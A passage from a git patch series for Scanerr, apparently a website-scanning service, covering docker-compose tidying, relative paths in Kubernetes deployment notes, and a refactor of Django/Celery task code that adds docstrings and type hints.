-COPY ./setup/requirements.txt /requirements.txt
+COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
 # Set up the Chromium environment

From 78754226484ff73db709582c4d8c6672e46b8a74 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:31:59 -0600
Subject: [PATCH 550/752] cleaning things up

---
 docker-compose.dev.yml   |  1 +
 docker-compose.local.yml |  1 +
 docker-compose.prod.yml  |  1 +
 docker-compose.stage.yml | 16 +++++++---------
 4 files changed, 10 insertions(+), 9 deletions(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index bbdb4a6d..db3d20f3 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -1,5 +1,6 @@
 services:
 
+
   app:
     container_name: scanerr-app
     hostname: scanerr-app
diff --git a/docker-compose.local.yml b/docker-compose.local.yml
index b5b059da..fb2efa36 100644
--- a/docker-compose.local.yml
+++ b/docker-compose.local.yml
@@ -1,5 +1,6 @@
 services:
   
+
   app:
     container_name: scanerr-app
     hostname: scanerr-app
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index 72b39c1d..922a80e9 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -1,5 +1,6 @@
 services:
 
+
   app:
     container_name: scanerr-app
     hostname: scanerr-app
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 9ddd10ea..e9e47f79 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -1,8 +1,6 @@
-
-
-
 services:
   
+
   app:
     container_name: scanerr-app
     hostname: scanerr-app
@@ -14,21 +12,21 @@ services:
       dockerfile: Dockerfile.local
     ports:
       - "8000:8000"
-    volumes:
-      - ./app:/app
     entrypoint: ["/local-entrypoint.sh", "app"]
     env_file:
       - ./env/.env.stage
+    volumes:
+      - ./app:/app
   
 
-
   redis:
+    container_name: scanerr-redis
+    hostname: scanerr-redis
     image: redis:alpine
     ports:
       - "6379"
   
 
-
   celery:
     container_name: scanerr-celery
     hostname: scanerr-celery
@@ -38,10 +36,10 @@ services:
       context: .
       dockerfile: Dockerfile.local
     entrypoint: ["/local-entrypoint.sh", "celery"]
-    volumes:
-      - ./app:/scanerr
     env_file:
       - ./env/.env.stage
+    volumes:
+      - ./app:/scanerr
     depends_on:
       - redis
       - app

From 3545dba94e1d55e4719b81992c4a0c2358277d77 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:38:37 -0600
Subject: [PATCH 551/752] updated paths to relative

---
 notes/Kubernetes.md | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 647abe5b..7268f20e 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -97,7 +97,7 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 2. Install nginx ingress controler on cluster
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-loadbalancer.yaml`
+- `kubectl apply -f ./k8s/prod/app-loadbalancer.yaml`
 - Then add and `A` record for domain that points to new loadbalancer
   - ref -> https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml
 
@@ -108,21 +108,21 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 4. Spin up Scanerr deployments and services
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+- `kubectl apply -f ./k8s/prod/app-configs.yaml`
+- `kubectl apply -f ./k8s/prod/redis-deployment.yaml`
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-autoscaler.yaml`
+- `kubectl apply -f ./k8s/prod/app-deployment.yaml`
+- `kubectl apply -f ./k8s/prod/celery-deployment.yaml`
+- `kubectl apply -f ./k8s/prod/celery-autoscaler.yaml`
 
 
 #### 4.a  Spin up YLT deploymemt, service, and autoscaler
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-deployment.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-autoscaler.yaml`
+- `kubectl apply -f ./k8s/prod/ylt-deployment.yaml`
+- `kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml`
 
 
 ### 5. Add app Ingress
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+- `kubectl apply -f ./k8s/prod/app-ingress.yaml`
 
 
 ### 6. Install cert-manager
@@ -130,18 +130,18 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 7. Add cert issure
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-cert-issuer.yaml`
+- `kubectl apply -f ./k8s/prod/app-cert-issuer.yaml`
 - NOTE: May have to wait a bit before running this one
   
 
 ### 8. Update app Ingress for TLS 
 - Uncomment the "TLS section" & "cert-manager.io/cluster-issuer annotation" then reapply 
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+- `kubectl apply -f ./k8s/prod/app-ingress.yaml`
 
 
 ### 9. Install kubeip dameon & service
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/kubeip-service.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/kubeip-daemon.yaml`
+- `kubectl apply -f ./k8s/prod/kubeip-service.yaml`
+- `kubectl apply -f ./k8s/prod/kubeip-daemon.yaml`
 
 
 ### NOTES:

From 6221877e53b7185486a551a6a95fc0256d494d72 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:53:43 -0600
Subject: [PATCH 552/752] cleaned up more commands

---
 k8s/prod/app-deployment.yaml    | 15 +--------------
 k8s/prod/celery-deployment.yaml |  3 +--
 notes/Kubernetes.md             | 18 +++++++++++++++---
 3 files changed, 17 insertions(+), 19 deletions(-)

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 80aa4b47..04b1f53e 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,24 +18,11 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # scanerr/server:80a9a46 # 
+          image: <IMAGE> # scanerr/server:9dbc3d9 # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
           command: ["/remote-entrypoint.sh", "app"]
-          # command: ["/bin/sh", "-c"]
-          # args: 
-          #   - > 
-          #       python3 manage.py wait_for_db &&
-          #       python manage.py showmigrations &&
-          #       python3 manage.py makemigrations --no-input &&
-          #       python3 manage.py migrate --no-input &&
-          #       python3 manage.py collectstatic --no-input &&
-          #       python3 manage.py create_admin &&
-          #       python3 manage.py driver_s_test &&
-          #       python3 manage.py driver_p_test &&
-          #       gunicorn  --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000
-            
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 387464a0..72702db9 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,10 +19,9 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image:  <IMAGE> # landonr/scanerr-server:a5f30cb # 
+          image:  <IMAGE> # scanerr/server:9dbc3d9 # 
           imagePullPolicy: Always
           command: ["/remote-entrypoint.sh", "celery"]
-          # command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 3"]
           envFrom:
             - configMapRef:
                 name: app-configs
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 7268f20e..4280df43 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -1,3 +1,8 @@
+# Notes on k8s deployments
+---
+<br>
+
+
 ### Create k8s files in yaml (kompose)
 ```shell
 kompose convert -f docker-compose.yml -o ./k8s
@@ -57,8 +62,10 @@ kubectl port-forward service/app-service 8000:8000
 ```
 
 
+<div style="margin-top: 8rem; margin-bottom: 8rem"></div>
 
-## Setps to Deploy localy
+
+# Setps to Deploy localy
 1. ensure minikube is running
    - ``` minikube status ``` 
 2. create secrets for app image pull from docker
@@ -84,8 +91,11 @@ kubectl port-forward service/app-service 8000:8000
 
 ---
 
-## Setps to Deploy Remotely
+<div style="margin-top: 8rem; margin-bottom: 8rem"></div>
+
+# Setps to Deploy Remotely
 
+> Ensure you are in the `/server` root directory 
 
 ### 1. Create docker secrets  
 - `kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='<username>' --docker-password='<password>' --docker-email='<email>'` 
@@ -155,7 +165,9 @@ kubectl port-forward service/app-service 8000:8000
 
 ---
 
-## Migration Notes for DB:
+<div style="margin-top: 8rem; margin-bottom: 8rem"></div>
+
+# Migration Notes for DB:
 1. Go to `models.py` and comment out all new additions
 2. Spinup staging env locally to create `00001_initial.py` migration as baseline
 3. Spin down staging env

From bd0c27a664c9fe928b68f45e34242c3a8ab22832 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 21 May 2024 11:58:46 -0600
Subject: [PATCH 553/752] renaming

---
 commands.md => commands.txt | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename commands.md => commands.txt (100%)

diff --git a/commands.md b/commands.txt
similarity index 100%
rename from commands.md
rename to commands.txt

From b89b12e907761133c8a77c08dd4285caefc62934 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 28 May 2024 14:13:50 -0600
Subject: [PATCH 554/752] refactored in preperation for v1.1.0

---
 app/api/admin.py                      |   37 +-
 app/api/models.py                     |   27 +-
 app/api/tasks.py                      |  896 ++++--
 app/api/utils/alerts.py               |  541 +++-
 app/api/utils/autocaser.py            |   48 +-
 app/api/utils/automater.py            |  312 ++
 app/api/utils/automations.py          |  242 --
 app/api/utils/caser.py                |  104 +-
 app/api/utils/crawler.py              |   39 +-
 app/api/utils/crux.py                 |   36 -
 app/api/utils/custom-config.js        |    3 -
 app/api/utils/driver_p.py             |  119 +-
 app/api/utils/driver_s.py             |  188 +-
 app/api/utils/exporter.py             |   16 +-
 app/api/utils/{image.py => imager.py} |   98 +-
 app/api/utils/lighthouse.py           |   11 +-
 app/api/utils/reporter.py             |  226 +-
 app/api/utils/scanner.py              |  371 ++-
 app/api/utils/tester.py               |  261 +-
 app/api/utils/verify.py               |    5 +
 app/api/utils/wordpress.py            |    1 -
 app/api/utils/wordpress_p.py          |    1 -
 app/api/utils/yellowlab.py            |   12 +-
 app/api/v1/auth/alerts.py             |  142 -
 app/api/v1/auth/serializers.py        |   14 +-
 app/api/v1/auth/services.py           |  769 +++--
 app/api/v1/auth/urls.py               |   15 +-
 app/api/v1/auth/views.py              |  199 +-
 app/api/v1/billing/services.py        |  469 +++
 app/api/v1/billing/urls.py            |    7 +-
 app/api/v1/billing/views.py           |  502 +---
 app/api/v1/ops/serializers.py         |   34 +-
 app/api/v1/ops/services.py            | 3902 ++++++++++++++++---------
 app/api/v1/ops/urls.py                |    7 +-
 app/api/v1/ops/views.py               |  331 +--
 app/scanerr/celery.py                 |   12 +-
 app/scanerr/settings.py               |   62 +-
 app/scanerr/urls.py                   |    3 +
 38 files changed, 6412 insertions(+), 3650 deletions(-)
 create mode 100644 app/api/utils/automater.py
 delete mode 100644 app/api/utils/automations.py
 delete mode 100644 app/api/utils/crux.py
 rename app/api/utils/{image.py => imager.py} (94%)
 delete mode 100644 app/api/v1/auth/alerts.py
 create mode 100644 app/api/v1/billing/services.py

diff --git a/app/api/admin.py b/app/api/admin.py
index 89482b91..141e7060 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -3,6 +3,10 @@
 from datetime import datetime
 
 
+
+
+
+
 @admin.register(Site)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('site_url', 'account', 'time_created')
@@ -10,18 +14,23 @@ class SiteAdmin(admin.ModelAdmin):
 
 
 
+
 @admin.register(Page)
 class SiteAdmin(admin.ModelAdmin):
     list_display = ('page_url', 'account', 'time_created')
     search_fields = ('page_url',)
 
 
+
+
 @admin.register(Test)
 class TestAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed', 'type')
     search_fields = ('page',)
 
 
+
+
 @admin.register(Scan)
 class ScanAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed')
@@ -32,59 +41,81 @@ def mark_as_completed(self, request, queryset):
         queryset.update(time_completed=datetime.now())
 
 
+
+
 @admin.register(Account)
 class AccountAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'type')
     search_fields = ('__str__',)
 
 
+
+
 @admin.register(Member)
 class MemberAdmin(admin.ModelAdmin):
     list_display = ('user', 'account', 'time_created', 'type', 'status')
     search_fields = ('user__username', 'account__name')
 
 
+
+
 @admin.register(Card)
 class CardAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'brand', 'last_four')
     search_fields = ('last_four',)
 
 
+
+
 @admin.register(Report)
 class ReportAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'user')
 
 
+
+
 @admin.register(Log)
 class LogAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'status', 'user')
 
 
+
+
 @admin.register(Schedule)
 class ScheduleAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'status', 'user')
 
 
+
+
 @admin.register(Automation)
 class AutomationAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created', 'schedule', 'user')
 
 
+
+
 @admin.register(Process)
 class ProcessAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'time_created',  'time_completed', 'progress', 'success')
 
 
+
+
 @admin.register(Case)
 class CaseAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'user', 'time_created',)
 
 
+
+
 @admin.register(Testcase)
 class TestcaseAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'user', 'time_created', 'time_completed',)
 
 
+
+
 @admin.register(Mask)
 class MaskAdmin(admin.ModelAdmin):
     list_display = ('__str__', 'mask_id', 'active', 'time_created',)
@@ -95,4 +126,8 @@ def mark_as_inactive(self, request, queryset):
         queryset.update(active=False)
     
     def mark_as_active(self, request, queryset):
-        queryset.update(active=True)
\ No newline at end of file
+        queryset.update(active=True)
+
+
+
+        
\ No newline at end of file
diff --git a/app/api/models.py b/app/api/models.py
index 05186cb3..27135ca6 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -1,5 +1,4 @@
 from django.db import models
-from django.db import models
 from django.utils import timezone
 from django.urls import reverse
 from django.contrib.auth.models import User
@@ -8,6 +7,10 @@
 import uuid
 
 
+
+
+
+
 def get_info_default():
     info_default = {
             'latest_scan': {
@@ -54,7 +57,6 @@ def get_info_default():
 
 
 
-
 def get_small_info_default():
     info_default = {
             'latest_scan': {
@@ -78,6 +80,7 @@ def get_small_info_default():
 
 
 
+
 def get_lh_delta_default():
     lh_delta_default = {
         "scores": {
@@ -95,6 +98,7 @@ def get_lh_delta_default():
 
 
 
+
 def get_yl_delta_default():
     yl_delta_default = {
         "scores": {
@@ -115,6 +119,7 @@ def get_yl_delta_default():
 
 
 
+
 def get_lh_default():
     lh_default = {
        "scores": {
@@ -132,6 +137,7 @@ def get_lh_default():
 
 
 
+
 def get_yl_default():
     yl_default = {
        "scores": {
@@ -153,6 +159,7 @@ def get_yl_default():
 
 
 
+
 def get_expressions_default():
     expressions_default = {
        'list': [
@@ -168,6 +175,7 @@ def get_expressions_default():
 
 
 
+
 def get_actions_default():
     actions_default = {
         'list': [
@@ -206,6 +214,7 @@ def get_steps_default():
 
 
 
+
 def get_scores_default():
     scores_default = {
         'html': None,
@@ -218,6 +227,7 @@ def get_scores_default():
 
 
 
+
 def get_slack_default():
     slack_default = {
         "slack_name": None, 
@@ -230,6 +240,8 @@ def get_slack_default():
     return slack_default
 
 
+
+
 def get_tags_default():
     tags_default = None,
     return tags_default
@@ -297,7 +309,6 @@ def __str__(self):
 
 
 
-
 class Site(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -314,6 +325,7 @@ def __str__(self):
 
 
 
+
 class Page(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True)
@@ -329,6 +341,7 @@ def __str__(self):
 
 
 
+
 class Scan(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True)
@@ -350,6 +363,7 @@ def __str__(self):
 
 
 
+
 class Test(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True)
@@ -424,7 +438,6 @@ def __str__(self):
 
 
 
-
 class Report(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
@@ -442,7 +455,6 @@ def __str__(self):
 
 
 
-
 class Case(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -480,8 +492,6 @@ def __str__(self):
 
     
 
-
-
 class Mask(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
@@ -525,3 +535,6 @@ class Log(models.Model):
 
     def __str__(self):
         return f'{self.status}__{self.request_type}__{self.path}'
+
+
+
diff --git a/app/api/tasks.py b/app/api/tasks.py
index ba6cab00..8609934f 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1,5 +1,3 @@
-from __future__ import absolute_import, unicode_literals
-from typing import Any
 from celery.utils.log import get_task_logger
 from celery import shared_task, Task
 from .utils.crawler import Crawler
@@ -8,7 +6,7 @@
 from .utils.reporter import Reporter as R
 from .utils.wordpress import Wordpress as W
 from .utils.wordpress_p import Wordpress as W_P
-from .utils.automations import automation
+from .utils.automater import Automater
 from .utils.caser import Caser
 from .utils.autocaser import AutoCaser
 from .utils.exporter import create_and_send_report_export
@@ -17,17 +15,20 @@
     _yellowlab
 )
 from .utils.driver_p import driver_test
-from .v1.auth.alerts import send_invite_link, send_remove_alert
+from .utils.alerts import send_invite_link, send_remove_alert
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
-from asgiref.sync import async_to_sync
-from datetime import datetime, timedelta, date
+from datetime import datetime, timedelta
 from scanerr import settings
 import asyncio, boto3, time, requests, json
 
 
-logger = get_task_logger(__name__)
+
+
+
+
+
 
 
 class BaseTaskWithRetry(Task):
@@ -38,27 +39,64 @@ class BaseTaskWithRetry(Task):
 
 
 
+# setting logger 
+logger = get_task_logger(__name__)
+
+
+
+
+# setting s3 instance
+s3 = boto3.resource('s3', 
+    aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+    region_name=str(settings.AWS_S3_REGION_NAME), 
+    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+)
 
 
 
 
 @shared_task
-def test_pupeteer():
+def test_pupeteer() -> None:
+    """ 
+    Spins up a puppeteer driver instance and
+    tests to ensure it can access the browser and internet
+
+    Returns -> None
+    """
     asyncio.run(driver_test())
     logger.info('Tested pupeteer instalation')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
+def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None:
+    """ 
+    Takes a newly created `Site`, initiates a Crawl and 
+    initial `Scan` for each crawled page
+
+    Expcets: {
+        site_id: str, 
+        configs: dict
+    }
+    
+    Returns -> None
+    """
+
+    # getting site and updating for time_crawl_start
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
     site.time_crawl_completed = None
     site.save()
+
     # crawl site 
     pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
+    
+    # create pages and scans
     for url in pages:
+
         # add new page
         if not Page.objects.filter(site=site, page_url=url).exists():
             page = Page.objects.create(
@@ -67,6 +105,7 @@ def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
                 user=site.user,
                 account=site.account,
             )
+            
             # create initial scan
             scan = Scan.objects.create(
                 site=site,
@@ -74,29 +113,49 @@ def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
                 type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
                 configs=configs
             )
+            
             # run each scan component in parallel
             run_html_and_logs_bg.delay(scan_id=scan.id)
             run_lighthouse_bg.delay(scan_id=scan.id)
             run_yellowlab_bg.delay(scan_id=scan.id)
             run_vrt_bg.delay(scan_id=scan.id)
+            
+            # update page info 
             page.info["latest_scan"]["id"] = str(scan.id)
             page.info["latest_scan"]["time_created"] = str(scan.time_created)
             page.save()
+
     # updating site status
     site.time_crawl_completed = timezone.now()
     site.save()
 
     logger.info('Added site and all pages')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
+def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None:
+    """ 
+    Takes an existing `Site`, initiates a new Crawl and 
+    initial `Scan` for each newly added page
+
+    Expcets: {
+        site_id: str, 
+        configs: dict
+    }
+    
+    Returns -> None
+    """
+    
+    # getting site and updating for time_crawl_start
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
     site.time_crawl_completed = None
     site.save()
+    
+    # getting old pages for comparison
     old_pages = Page.objects.filter(site=site)
     old_urls = []
     for p in old_pages:
@@ -110,8 +169,11 @@ def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
     for page in new_pages:
         if not page in old_urls and (len(add_pages) + len(old_urls) <= site.account.max_pages):
             add_pages.append(page)
-        
+
+    # loop thorugh crawled pages 
+    # and add if not present  
     for url in add_pages:
+
         # add new page
         if not Page.objects.filter(site=site, page_url=url).exists():
             page = Page.objects.create(
@@ -135,17 +197,40 @@ def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
             page.info["latest_scan"]["id"] = str(scan.id)
             page.info["latest_scan"]["time_created"] = str(scan.time_created)
             page.save()
+
     # updating site status
     site.time_crawl_completed = timezone.now()
     site.save()
 
     logger.info('crawled site and added pages')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def scan_page_bg(self, scan_id=None, test_id=None, automation_id=None, configs=None, *args, **kwargs):
+def scan_page_bg(
+        self, 
+        scan_id: str=None, 
+        test_id: str=None, 
+        automation_id: str=None, 
+        configs: dict=settings.CONFIGS
+    ) -> None:
+    """ 
+    Runs all the requested `Scan` components 
+    of the passed `Scan`.
+
+    Expects: {
+        scan_id       : str, 
+        test_id       : str, 
+        automation_id : str, 
+        configs       : dict
+    }
+
+    Returns -> None
+    """
+    
+    # get scan object
     scan = Scan.objects.get(id=scan_id)
     
     # run each scan component in parallel
@@ -159,6 +244,7 @@ def scan_page_bg(self, scan_id=None, test_id=None, automation_id=None, configs=N
         run_vrt_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
 
     logger.info('created new Scan of Page')
+    return None
 
 
 
@@ -166,17 +252,34 @@ def scan_page_bg(self, scan_id=None, test_id=None, automation_id=None, configs=N
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_scan(
         self,
-        scan_id=None,
-        page_id=None, 
-        type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-        automation_id=None, 
-        configs=None,
-        tags=None,
-        *args, 
-        **kwargs,
-    ):
+        scan_id: str=None,
+        page_id: str=None, 
+        type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+        automation_id: str=None, 
+        configs: str=None,
+        tags: str=None,
+    ) -> None:
+    """ 
+    Runs a `Scan` using Scanner.build_scan() 
+    where each component is run in sequence.
+
+    Expects: {
+        scan_id         : str,
+        page_id         : str, 
+        type            : list,
+        automation_id   : str, 
+        configs         : str,
+        tags            : list,
+    }
+    
+    Returns -> None
+    """
+
+    # get scan if scan_id present
     if scan_id is not None:
         created_scan = Scan.objects.get(id=scan_id)
+    
+    # create scan if page_id present
     elif page_id is not None:
         page = Page.objects.get(id=page_id)
         created_scan = Scan.objects.create(
@@ -186,18 +289,37 @@ def create_scan(
             configs=configs,
             tags=tags, 
         )
-    scan = S(scan=created_scan, configs=configs).first_scan()
+
+    # run scan and automation if necessary
+    scan = S(scan=created_scan, configs=configs).build_scan()
     if automation_id:
-        automation(automation_id, scan.id)
-    return scan
+        Automater(automation_id, scan.id).run_automation()
+    
     logger.info('Created new scan of site')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def create_scan_bg(self, *args, **kwargs):
-    # get data
+def create_scan_bg(self, *args, **kwargs) -> None:
+    """ 
+    Creates 1 or more `Scans` depending on 
+    the scope (page or site). Used with `Schedules`
+
+    Expects: {
+        'site_id'       : str,
+        'page_id'       : str,
+        'type'          : list,
+        'configs'       : dict,
+        'tags'          : list,
+        'automation_id' : str
+    }
+
+    Returns -> None
+    """
+
+    # get data from kwargs
     site_id = kwargs.get('site_id')
     page_id = kwargs.get('page_id')
     type = kwargs.get('type')
@@ -205,12 +327,14 @@ def create_scan_bg(self, *args, **kwargs):
     tags = kwargs.get('tags')
     automation_id = kwargs.get('automation_id')
 
+    # building list of pages
     if site_id is not None:
         site = Site.objects.get(id=site_id)
         pages = Page.objects.filter(site=site)
     if page_id is not None:
         pages = [Page.objects.get(id=page_id)]
 
+    # creating scans for each page
     for page in pages:
         create_scan.delay(
             page_id=page.id,
@@ -220,70 +344,127 @@ def create_scan_bg(self, *args, **kwargs):
             automation_id=automation_id
         )
     
+    logger.info('created new Scans')
+    return None
+
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_html_and_logs_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+def run_html_and_logs_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+    """ 
+    Runs the html & logs components of the passed `Scan`
+
+    Expects: {
+        scan_id         : str, 
+        test_id         : str, 
+        automation_id   : str
+    }
+    
+    Returns -> None
+    """
+    
+    # run html and logs component
     _html_and_logs(scan_id, test_id, automation_id)
+
     logger.info('ran html & logs component')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_vrt_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+def run_vrt_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+    """ 
+    Runs the VRT component of the passed `Scan`
+
+    Expects: {
+        scan_id         : str, 
+        test_id         : str, 
+        automation_id   : str
+    }
+    
+    Returns -> None
+    """
+
+    # run VRT component
     _vrt(scan_id, test_id, automation_id)
+
     logger.info('ran vrt component')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_lighthouse_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+def run_lighthouse_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+    """ 
+    Runs the lighthouse component of the passed `Scan`
+
+    Expects: {
+        scan_id         : str, 
+        test_id         : str, 
+        automation_id   : str
+    }
+    
+    Returns -> None
+    """
+
+    # run lighthouse component
     _lighthouse(scan_id, test_id, automation_id)
+
     logger.info('ran lighthouse component')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_yellowlab_bg(self, scan_id=None, test_id=None, automation_id=None, *args, **kwargs):
+def run_yellowlab_bg(self, scan_id: str=None, test_id: str=None, automation_id: str=None) -> None:
+    """ 
+    Runs the yellowlab component of the passed `Scan`
+
+    Expects: {
+        scan_id         : str, 
+        test_id         : str, 
+        automation_id   : str
+    }
+    
+    Returns -> None
+    """
+
+    # run yellowlab component
     _yellowlab(scan_id, test_id, automation_id)
+
     logger.info('ran yellowlab component')
+    return None
 
 
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_test(self, test_id, *args, **kwargs):
-    automation_id = kwargs.get('automation_id')
+def run_test(self, test_id: str, automation_id: str=None) -> None:
+    """ 
+    Helped function to shorted the code base 
+    when creating a `Test`.
+
+    Expects: {
+        test_id         : str, 
+        automation_id   : str
+    }
+    
+    Returns -> None
+    """
+    # get test 
     test = Test.objects.get(id=test_id)
+
+    # execute test
     test = T(test=test).run_test()
     if automation_id:
-        automation(automation_id, test.id)
-    logger.info('Test completed')
-
-
-
-
-@shared_task(bind=True, base=BaseTaskWithRetry)
-def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
-    automation_id = kwargs.get('automation_id')
-    test = Test.objects.get(id=test_id)
-    post_scan_id = test.post_scan.id
-
-    current_time = 0
